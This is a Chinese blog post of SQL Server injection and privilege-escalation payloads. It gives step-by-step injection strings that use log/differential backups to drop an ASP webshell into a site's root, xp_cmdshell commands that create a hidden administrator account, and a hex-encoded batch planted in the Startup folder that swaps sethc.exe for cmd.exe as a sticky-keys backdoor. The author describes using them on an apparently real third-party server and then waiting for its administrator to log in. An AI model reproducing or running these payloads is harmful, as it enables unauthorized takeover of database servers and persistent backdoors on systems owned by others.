mysql差异备份提权_MSSQL注入时的手工差异备份与提权 ___and___ 巧用差异备份DB_OWNER提权...

字符型

1.恢复当前库

;alter database 当前库 set RECOVERY FULL--

2.创建表cmd

;create table cmd (a p_w_picpath)--

3.备份当前库到D:\cmd1

;backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd

;insert into cmd (a) values ('')--

5.备份一句话代码到站点根目录

;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成

';drop table 创建的表--

----------------------------------

数字型

1.恢复当前库

';alter database 当前库 set RECOVERY FULL--

2.创建表cmd

';create table cmd (a p_w_picpath)--

3.备份当前库到D:\cmd1

';backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd

';insert into cmd (a) values ('')--

5.备份一句话代码到站点根目录

';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成

';drop table 创建的表--

--------------------------------

sa权限创建管理员用户

1.判断是否有注入;and 1=1 ;and 1=2

;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2.添加系统的管理员

;exec master.dbo.xp_cmdshell 'net user wk wk90 /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

___________________________________________________________________________________________

巧用差异备份DB_OWNER提权

巧用差异备份DB_OWNER提权

得到的DB_OWNER权限

想到的是差异备份

exec master..xp_dirtree c:,1,1

列目录

/*利用Url或者sql查询器Log备份一句话或Bat*/

alter database [master] set RECOVERY FULL--

create table cmd (a p_w_picpath)--

backup log [master] to disk = c:cmd1 with init--

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202

F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65

7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577

696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325

C646C6C63616368655C73657468632E657865202F790D0A)--

backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--

drop table cmd--

分析下语句

第一句

alter database [master] set RECOVERY FULL--

master 是数据库名字,一般db权限不行 换库名吧

create table cmd (a p_w_picpath)--

这句的意思建立一个表,表里面一个列,列的数据类型是p_w_picpath

backup log [master] to disk = c:cmd1 with init--

这句就是备份库master里面的log到c:cmd1

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612

073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257

7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255

C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655

C73657468632E657865202F790D0A)--

这句就是在刚才建立的表cmd 列a 里面插入数据

130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207

3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577

696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225

5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865

5C73657468632E657865202F790D0A

16进制的批处理

处理原文是

@Echo off

@cd %windir%

@del dir /s /a sethc.exe

@copy %windir%system32cmd.exe %windir%system32sethc.exe /y

@copy %windir%system32cmd.exe %windir%system32dllcachesethc.exe /y

backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--

这句就是备份库master的log到启动项start.bat

里面有批处理

drop table cmd--

删除表

然后等管理登陆3389启动噢

我遇到的问题有

执行第二句的时间

create table cmd (a p_w_picpath)--

master提示拒绝没有权限

不能没创建表的权限就放弃吧

再想想折,我有他db权限.找个空白弄下就ok不是

在库test表test里面找到一个没数据的

这里用到俩命令

删除列

ALTER TABLE 表名 DROP COLUMN 列名

添加列

ALTER TABLE 表名 ADD 列名   VARCHAR(20)

我先执行了删除test里面的所有列

然后执行

ALTER TABLE test ADD a

然后用到的命令是

alter table

语句

网上找了几个实例

引用

--try

create table a

(

name nvarchar(45),

price decimal (19,4),

charge varchar(10)

)

1、nvarchar类型的长度都变为60

alter table a

alter column name nvarchar(60)

2、decimail类型的默认值变为0,小数点后保留2位数

--若默认值已存在先删除后添加 delete constraint 约束名

alter table a

add constraint df_a_price default 0 for price

alter table a

alter column price decimal(19,2)

3、将所以varchar列示类型变为Nvarchar

alter table a

alter column charge nvarchar(60)

我在这里执行的是

alter table [test].[dbo].[test]

alter column a p_w_picpath

意思是改变库test表test列a的数据类型是p_w_picpath

然后稍微改下命令

alter database [test] set RECOVERY FULL--

backup log [test] to disk = c:cmd1 with init--

insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7

3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642

E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257

7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6

C63616368655C73657468632E657865202F790D0A)--

backup log [test] to disk = C:Documents and Settingsadministrator「开始」菜单\程序启动\start.bat--

执行成功返回

引用

已处理 2 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。

BACKUP LOG 操作成功地处理了 2 页,花费了 0.125 秒(0.081 MB/秒)。

(所影响的行数为 1 行)

已处理 1 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。

BACKUP LOG 操作成功地处理了 1 页,花费了 0.095 秒(0.037 MB/秒)。

ok

看到这里就成功了 然后看下

exec master..xp_dirtree C:Documents and Settingsadministrator「开始」菜单\程序启动\,1,1

然后返回

成功了

哈哈等管理吧

这里补充的我比较笨蛋.以上是我在本机测试好久的,备份有的库有时间批量命令写不进去的

那样是没有用的

这样才是成功的

大牛绕过呵呵,刚开始的时间想过放弃,不过一步一步摸索不懂的查gg,嘿,真搞定了.

搞这个不容易,他这个1433只针对一台服务器开放,我费了好大事才搞定那个,然后朋友写了个dll(端口映射,系统服务,比较方面,上3389很容易发现).

这才copy出表,本地能测试.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值